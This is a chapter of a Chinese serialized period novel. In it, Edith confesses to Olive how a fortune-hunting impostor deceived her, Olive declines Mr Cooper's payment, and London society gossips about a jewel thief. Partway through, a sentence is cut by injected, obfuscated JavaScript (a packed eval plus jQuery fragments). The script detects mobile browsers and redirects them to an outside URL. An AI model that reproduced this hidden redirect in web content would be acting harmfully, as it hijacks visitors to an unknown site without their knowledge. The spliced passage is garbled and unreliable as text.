“你能原谅我吗？”奥丽芙和伊迪丝几乎同时说出一模一样的话。


    伊迪丝笑了一声，随即拿手捂住脸：“我还没说到最丢人的部分呢。那时候，只有范德梅尔先生不同，我是说，我以为只有他不同，他把我看得超过一切人。


    “我有一次偷听到他和别人说起你，他说：‘那个装腔作势的小妞。’我本来该看出他是个什么人的——一个愚蠢、狂妄自大的家伙，但我偏偏没有，我以为他不喜欢你，说明他有眼光，他挑中了我。


    “我还在他面前说过你的坏话，我说不知道你成天跟着我们，想要做什么。他说：‘那还用问，当然是想钓个金龟婿了。不过大概不容易成功，男人不喜欢一本正经、对人对事都苛刻、像个□□似的女人。’听他这样说，我心里竟然感到高兴。——你根本不是那样的人！”


    伊迪丝弯下身，把脸埋在手心，奥丽芙轻轻将她拉起来：“他爱怎么说就怎么说吧。有时候，我确实有点苛刻，但你从来不会，你总是能看到别人的优点，看到他们最好的一面，你已经把我看得比实际要好多了。”


    “不，是你把我变好了。”伊迪丝转过头，透过晶莹的泪花望着奥丽芙，“光和你说这些话，我就觉得我又变好了一些。我再告诉你其它事，关于我和范德梅尔先生……


    “我和他从没有偷偷订婚。我想着，等合适的时候，我告诉爸爸我喜欢范德梅尔先生，爸爸不会不同意。但范德梅尔先生说，你不喜欢他，会从中阻挠，而我父亲又看重你的意见。我告诉他，假如我父亲真的不允许，我不会服从父亲。但我以为只是说说而已，不至于到那一步。


    “那次在安斯蒂家，你看见我们吵架——我们确实在吵架，吵架的原因别让我说了，好么？”伊迪丝从侧面悄悄瞟了一下奥丽芙，又难为情地转开头。


    “后来，你好心向我指出范德梅尔先生的卑劣行为，我却骗了你，说我已经知道了，其实我不知道，但我以为你说的未必就是真话，而且，反正我不在乎。那时，在我眼里，范德梅尔先生是最好不过的人。只有一点我对他不高兴，就是我们吵架那回事。


    “那次，我决定要冷一冷他，让他心里感到特别后悔，然后，再接受他的道歉。


    “因为与范德梅尔先生赌气，还因为你对我说的那些话——我怕你会告诉我父亲，爸爸知道了肯定很生气，说不定再也不许我和范德梅尔先生见面。为这两个缘故，我决定，假装和范德梅尔先生疏远一段时间。


    “过了几天，我看你大概是不会对我父亲泄露我的秘密了，但我还是很担心——担心我没有及时向范德梅尔先生解释清楚，误会加深，他说不定会与我完全决裂。就在我最忐忑最烦躁的时候，他来向我道歉，我一下子就原谅了他。


    “我以为，我们的感情经受住了一次‘考验’，在心里，我对他比之前还要依恋。不过表面上，我还是很当心，我特意告诉范德梅尔先生，在你面前，别显露出我们已经和好。


    “那天——也就是我和他……预备离开伦敦的前两天，我记得那天有拍卖会，拍卖会后，你和我父亲都去别处了，范德梅尔先生来找我，我与他见了面。当时，并没有什么异样，我们聊得很开心。他想知道我的化装舞会装扮，我没告诉他，我想在舞会上再让他看见。他会明白，我是为了他才那样打扮的，如果有必要，我会为了他抛开我所有的一切。唉，我多傻呀。”


    伊迪丝爆发出一声悲泣。奥丽芙轻轻搂住她，抚她的背：“别再想了。”


    “不，不，让我说完。我必须把这些都讲出来，这样对我更好。”伊迪丝把手绢使劲在眼睛上压了压，接着说：


    “那天分别时，我和范德梅尔先生都认为，再次见面是在化装舞会上。因为第二天，我们两人都另有事情，而下一天，就是舞会当天了。


    “可是，第二天晚上，他忽然又来找我。——不是正式见面，是在花园，就像你曾经看到过的那样。我以为他忍耐不了和我分开四十八小时那么久，可当我到花园，他对我说的第一句话却是，他年少时犯过一些过错，被发现了，他没脸面再见我父亲，他是来和我道别。


    “我问他是什么过错，他不肯说。他说只有我和他在一起，他才能获得足够的勇气承认他的错误，而现在，他要和我分开了，他不能忍受在我鄙视的目光下与我永远分别。


    “我隐隐约约听说他曾经喜好赌钱，还欠过债，又有你对我说的话——尽管我一直不肯信，但那天晚上，我不得不信了。我以为他指的就是赌钱这件事，我说不要紧，要他和我一起去见父亲。


    “范德梅尔先生不同意。他的意思好像是有债主正在追他，马上就会追上门，他必须尽快离开伦敦，否则就将身败名裂。他说我在他心中比世上一切都宝贵，他绝不能让我的名字有一丝一毫蒙羞的风险。他还要我放心，说为了我，他一定会恢复名誉，不管有多难，不管要多久。如果那时我还没有嫁人，他就再回来找我。


    “我被他的话感动了，觉得自己特别重要，尤其是，对他特别重要——只有我才能帮他找回自信，帮他成为一个他自己都没想过的好人。


    “我坚持要和他一起走，他假装时间紧迫，来不及劝说我，趁机答应下来。我们约定第二天下午离开，白天，他还像平日一样该干什么干什么，以免引起有可能暗中监视他的人的怀疑，而我，则悄悄做些准备，然后，我直接上维多利亚车站，买好夜间火车的车票，等着和他会合后一起出发。


    “幸亏，幸亏你事先和布朗先生说了，他拦下了我们，不然，我就……”伊迪丝猛地转过身，搂住奥丽芙的脖子。


    奥丽芙也紧紧抱住伊迪丝，她没有再说准备好的劝慰话，没必要说了。伊迪丝知道她自己对库珀先生特别重要，对她的朋友们特别重要，但是，即便不考虑这些，她依然特别重要。


    伊迪丝平复了一会儿情绪，再开口时，她用沉静的口吻说起了另一件事：“我想给范德梅尔……真正的范德梅尔夫人和范德梅尔小姐寄一笔钱，她们的生活好像不太富裕。”


    奥丽芙激动地抓住她的胳膊：“伊迪丝，你太好了！你能想到她们太好了。我就没有想到。”


    伊迪丝显出羞赧的神情：“我想到她们是因为，起初，我还以为……不管他犯了多么残忍的罪，对我至少还有一点真心。听到她们的事，我才真正明白，如果我失去了财产，就对他没用了，他会毫不留情地丢开我，就像丢开范德梅尔小姐一样。


    “我总觉得我……虽然她们母女的遭遇不是我造成的，但我觉得我们的命运关联在一起了，我应当帮助她们，就好像在我最糟糕的时刻，你和好多人帮助了我。


    “我已经给她们写了一封信，把我和那个坏人结识、直到认清他面目的全部经过说清楚了。我没有用真名写信，但钱我还想再用另外一个名义寄去，又怕她们看了信猜到是我，产生误解，你说我该怎么办才好？”


    “我想你可以用同一个名字寄钱和信，她们一定不会曲解你的好意。”奥丽芙回答。


    “好，就按你说的办。”停了一会儿，伊迪丝不好意思地偷看奥丽芙，“你不会以为我还是忘不掉他吧？”


    “怎么可能？就那家伙。”


    伊迪丝也露出一丝冷蔑的笑：“他确实挺会说话，要不是被他的花言巧语蒙蔽了，我怎么能看上他？他甚至都不是最帅的，也缺乏真正的风度。”


    奥丽芙的心再一次飞快地、慌张地跳起来。伊迪丝是什么意思，莫非她打算爱上……


    伊迪丝说：“我已经告诉爸爸，我不想这么早订婚，我才二十岁，爸爸同意了，让我想什么时候就什么时候，哪怕一辈子不嫁人。反正，我不会再轻易对谁动心了。”


    .


    奥丽芙来向库珀先生告别，像第一次会面一样，两人又在书房面对面坐下。


    “我想先回哈德维克村，陪我姨妈呆一段。”库珀先生询问奥丽芙的打算，她这样回答。


    库珀先生说：“马上就到了伊迪丝二十岁生日，要是你不能参加她的生日舞会，她会非常失望的。陪她过完生日你再回去，好吗？”


    奥丽芙点了点头。


    没有什么需要她留在伦敦了，伊迪丝的生日舞会之后，她就离开。


    库珀先生不大自在地清了清嗓子：“对了，虽然我实在不愿用这种方式，但毕竟我们说好……”


    奥丽芙看出他是要拿支票簿，赶快打断：“库珀先生，我的工作还没有向你汇报完。除了上次对你说过的，德·雷斯托的子爵名号问题，以及假范德梅尔伯爵的事，我没有其它更多发现。”


    奥丽芙一面说，一面想起了小默顿的“求爱”，想起了德·雷斯托默默的、勇敢的爱慕，也想起了Z伯爵。


    她定定神，用更加坚定、清晰的语调说，“本来我想准备一份详细报告，但恐怕没有报告可以交给你了。库珀先生，没有任何一个人是完美的，包括我自己。我以为我能够评判他人，但我想错了。不过我相信，今后，伊迪丝一定能够做出正确的选择。


    “无论如何，你交给我的工作我完成得不好，我不能再收你的钱。之前你给我的已经花掉了一些，我尽量列出了账目，剩下的在这儿。”


    “这可不行！”库珀先生喊叫，一下子站起身。奥丽芙刚拿出装有账目明细和支票的信封放在桌上，不知所措地顿住。


    库珀


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17161940|192595||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    先生近乎严厉地说：“你挽救了伊迪丝的名誉。我的女儿差点和一名杀人犯私奔。如果他们真的到了瑞士，我该怎么办？我会派很多人找他们，但是找到了又如何？从此后，我将永远被一个恶棍拿捏。你救了伊迪丝，也救了我，你却说你的工作完成得不好？


    “我只是为了……”


    “你做得很好，孩子。”库珀先生语气又变得柔和、慈爱，“无论是我，还是你父亲，都会这么说。现在，你回去休息吧，在城里转一转，好好玩玩。其它事不要放在心上，我们又不会很快分开，对吧？”他把信封塞回奥丽芙手里，将她送出门。


    伊迪丝的生日在十日后，奥丽芙答应参加她的生日舞会，决定安心在伦敦多呆半个月。她还没有给伊迪丝准备生日礼物，一想起这事，便急匆匆跑去邦德街。


    她先后进了几家店铺，最后，来到一家卖珊瑚饰品的商店。伊迪丝不缺首饰，但奥丽芙想送她一件能够留存长久的东西，思来想去，还是首饰最合适；而珊瑚，既美丽贵重，同时，价格不至于高上了天。


    刚走进店门，一位先生在柜台前转过身，是Z伯爵。


    “上午好，小姐。”他招呼奥丽芙，脸上带着出乎意料之时的惊讶尴尬表情，“我想，你是来为库珀小姐选一件礼物？”


    “对。你也是？”奥丽芙同样有点尴尬。


    “不，不，我正等人，随便逛逛。那边有一对手链不错。”Z伯爵伸手一指，“抱歉了，小姐，再会。”他快步离开商店。


    奥丽芙去看那对珊瑚珠串成的手链，心里不得不承认，Z伯爵对首饰确实独具慧眼。这种淡粉色的珠子套在伊迪丝圆润可爱的手腕上，一定再美不过了。


    她把店内其它商品大致扫了几眼，真没有更合适的。不过，奥丽芙没选手链——出于友谊和感激，伊迪丝可能会在生日宴上戴她送的手链，而不戴父亲送的手镯，那可不太好。


    最终，奥丽芙挑了一串项链。


    .


    这段时日，伊迪丝的心情好多了，渐渐，她们又恢复了过去的社交活动。


    库珀先生非常体贴，经过他的小心安排，奥丽芙再次在众人面前露面时，没有成为所有视线的焦点，也没有令人尴尬的祝酒致敬场面，只有相熟的几位朋友，在旁人听不到时，悄悄对她说几句。


    德·雷斯托向她微笑了一下，又悲伤地说：“我有幸见过费克特先生，我真的非常非常遗憾。”


    我知道。奥丽芙在心里对他道歉，很感激地望着他。


    她相信，德·雷斯托完全是因为她和她父亲的缘故，才高兴看到“范德梅尔”得到应有的下场。至于他自己，则从来没有因减少一位情敌而沾沾自喜，他只为伊迪丝感到难过。


    “你是库珀小姐最好的朋友。你能为她庆贺生日，她会多么开心啊。”德·雷斯托轻轻鞠一躬，转身走开。


    小默顿现在不太容易见到了，化装舞会后，他很少来绿窗酒店拜访——这可以理解。见面这一次，他的情绪相当低落。


    “费克特小姐，过段时间你准备去——对不起，我忘了，是诺丁汉郡？”


    “对，我姨妈家在那儿。”


    小默顿这才有了精神：“我去过诺丁汉，园艺协会的花卉展览有次在那儿举办，得大奖的是当地一位医生种的黄玫瑰，据说他配出了特别的药水浇花。希望还有园艺展——我很乐意再去，说不定还能见到你。诺丁汉郡的确是个很美的地方。”


    Z伯爵似乎天天都来，但他几乎没有与奥丽芙单独交谈过。奥丽芙总觉得他有意躲避自己，同时，脸上挂着心虚惭愧的表情——那次在商店遇上时，他就是这副表情。


    大概还是因为和侯爵小姐一起看戏——上回在安斯蒂家，他看见伊迪丝和范德梅尔两人在花园，以为自己没希望了，转而去追求侯爵小姐；如今，范德梅尔出局，Z伯爵掉头回来，但有一人刚好见证了他“变心”的小插曲，那个人又特别为库珀父女器重，在那人面前，他可不是惭愧着慌吗。


    说不定他还盼着我赶紧走掉呢。奥丽芙心想。


    这天晚上，两位姑娘和客人们在绿窗酒店的音乐室消磨晚饭后的时光，伊迪丝弹了几支钢琴曲，和奥丽芙合唱了几首歌，又和凯里小姐唱了几首。这时，Z伯爵走进来，伊迪丝便请他演奏小提琴。


    Z伯爵欣然应允，他的小提琴拉得非常好，不过，凯里夫人更喜欢聊天，她和一位太太一直在谈论珠宝大盗，忽然转过头来对伊迪丝说：“那天晚上又是在骑士桥，你们正在跳舞的时候，大盗就在不远处偷东西。你可真要当心一点了，伊迪丝，我敢说每次窃案发生，你都离得不远，大盗没准是和你擦肩而过啊。”